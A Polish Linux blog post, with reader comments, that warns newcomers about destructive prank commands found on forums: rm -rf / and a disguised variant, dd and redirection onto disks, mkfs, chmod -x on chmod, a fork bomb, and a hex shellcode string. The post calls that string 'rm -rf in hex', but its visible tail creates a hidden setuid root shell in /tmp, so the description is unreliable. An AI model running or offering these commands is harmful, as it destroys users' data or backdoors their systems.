Linuxblog - blog o Linuksie
Jak nie popełnić samobójstwa w Linuksie...
Szukając pomocy po forach internetowych, kanałach IRC i blogach musimy ubezpieczyć się w ostrożność, gdyż przez niezrównoważone poczucie humoru niektórych użytkowników Linuksa możemy doprowadzić do autodestrukcji systemu.
rm -rf /
Chyba najbardziej rozpowszechniony sposób na pozbycie się zawartości dysku. Kasuje wszystkie pliki w katalogu / i podrzędnych(parametr 'r'), nie mówiąc nic przy tym(parametr 'f'). Trzeba też uważać na inną formę tego polecenia, np: rm -rf /var/lock/../../ - niby sugeruje, że kasujemy coś w folderze /var/lock, jednak dwie kropki w Linuksie oznaczają skoczenie do katalogu nadrzędnego, wiec w konsekwencji kasujemy /.
dd if=/dev/urandom of=/dev/sda1
Inny sposób na zniszczenie danych na dysku. Po prostu zapisuje czyste dane na dysk, bit po bicie z pliku źródłowego, uszkadzając bezpowrotnie partycje.
chmod -x /usr/bin/chmod
Komenda chmod zmienia uprawnienia plików, a parametr '-x' odbiera uprawnienie do wykonania pliku jako programu. Po wykonaniu tej komendy nie będziemy w stanie zmienić uprawnienia żadnego pliku, gdyż program wykonujący to nie będzie maił uprawnień do wykonania się.
mkfs.ext3
Po prostu utworzy pustą partycję na miejscu istniejącej, przez co zniszczy dane.
byle_jaka_komenda > /dev/sda
Podobnie jak w wypadku dd czyste dane do urządzenia blokowego, tym razem będzie to wyjście z byle jakiego programu.
:(){:|:}:;
Komenda uruchomi proces, który uruchomi dwa następne, z kolei te utworzą cztery, następnie uruchomi się osiem procesów, itd., aż do zapchania RAMu i procesora. Jedyny sposób na zabezpieczenie się przed forkbombą to ograniczenie ilości procesów dla użytkownika.
char esp [] __attribute__ ((section ( ". tekst"))) / * release ESP * / = "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68" \ xff \ xff \ xff \ xff \ x68 \ xDF \ xd0 \ xDF \ xd9 \ x68 \ x8d \ x99 "" \ XDF \ x81 \ x68 \ x8d \ x92 \ xDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "" \ x56 \ X04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ X83 \ xc4 \ x74 \ x56 "" \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 "" \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69 "" \ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00 "cp -- p / bin / sh / tmp / .beyond; chmod 4755 / tmp / .beyond ";
To samo co rm -rf / tylko, że szesnastkowo.
Ważne jest również, aby nie uruchamiać skryptów i programów niewiadomego pochodzenia, gdyż nie wiadomo co w nich siedzi. Polecam używać programów z oficjalnych repozytoriów bądź kompilowanych samemu z oficjalnych źródeł - unikniemy nieprzyjemnych niespodzianek. Paczki w repozytoriach są znaczone kluczem GPG i jeżeli jakaś nie będzie miała prawidłowego, menedżer pakietów nas o tym powiadomi.
Jeżeli ktoś ma jeszcze jakieś pomysły, chętnie przeczytam je w komentarzach.

Kup najtaniej
Dużo windowsiarzy o tym jeszcze nie wie :>
po prostu rzuci to w cholere, po co sie denerwowac
Kto siedzi na root'cie w celu rytynowej pracy?
Kto zabiera sie za modyfikacje systemu z poziomu wiersza polecen nie zapoznajac sie wpierw z calymi 20 podstawowymi poleceniami?
Najgorszym co mi sie zdarzylo w wyniku sluchania rad forumowiczow bylo stracenie czasu nad rozwiazaniem ktore w moim przypadku niedzialalo - ale po dluzszym zbadaniu problemu okazalo sie, ze chociaz to rozwiazanie moze zadzialac, to jednak pewnosci nie ma bo nikt tak naprawde nie wie gdzie siedzial problem...
"Kto zabiera sie za modyfikacje systemu z poziomu wiersza polecen nie zapoznajac sie wpierw z calymi 20 podstawowymi poleceniami?" Po przeczytaniu tego zdania mam wrażenie, że spadłeś z księżyca i nie masz pojęcia o tym, co się na świecie dzieje. W Windows znakomita większość użytkowników pracuje na koncie administratora, ale pod pingwinem również znajdziesz hardcore-ów.
Linux to dla mnie sprzeczności, ma być dla wszystkich, a tylko niewielu ma wiedzieć jak go ustawić/obsługiwać. To chyba pozostałość po epoce gdy admin był bogiem i bez niego user był nikim (teraz nadal wiele osób nie umie windowsa obsługiwać, ale znacznie rzadziej niż kiedyś) Jeśli chcą żeby zwykli użytkownicy (a nie studenci informatyki) się przekonali do Linuxa, to napiszcie parę programików, które będą w sobie zawierały skrypty do zmiany podstawowych ustawień systemu i nazwijcie go "Ustawienia systemu" A gdyby zmiana wymagała uprawnień root-a, to niech wyskakuje okienko gdzie wpisujesz haslo. Czy to takie trudne?
Praktyka czyni mistrza, z początku używałem ubuntu bo tam sie wszystko wyklikiwało (no prawie), ale niestety ten system jest przeładowan i ma tendencje do zamulania (przynajmniej na mojim leciwym sprzęcie). Teraz używam debiana, a na fora internetowe wchodzę szukając prototypów komend, a nie ich mechanizmów działania. Kwestia czasu a i je na pamięć będę znał
Człowieku idź się leczyć. Nie wiesz o czym piszesz a prawisz jakbyś wszystkie rozumy pozjadał. Unix jest standardem w kwestii interfejsu użytkownika i korzystania z zasobów. Podziękuj super mądremu panu Gatesowi za to że koniecznie chciał żeby wszystko było trochę inaczej (bał się oskarżeń o plagiat) i Apple za to że skoncentrowali się na projektowaniu ładnych guziczków, na co mieli czas dzięki ograniczeniu ilości sprzętu na którym MacOS może działać. Jak czytam takie debilne teksty to chce mi się zwymiotować na klawiaturę.
Moze nie wszyscy zauwazyli - ale w windowsie tez jest konsola, a jak sie komus chce to mozna wykrecic o niebo lepsze numery niz w linuxie ze wzgledu na domyslna "niezbyt-bezpieczna" konfiguracje systemu.
Kto z nas niepamieta dzieciecych zabaw z printscreenem errora ustawionym na tapete czy zeby isc bardziej w kierunku "dobrych porad" zamykajacy komputer skrypt podpiety do autostartu xD
Przecierz taki "drobiazg" to dla nowego/nieobeznanego(98% populacji) uzytkownika to tzw. "umarl w butach" ;p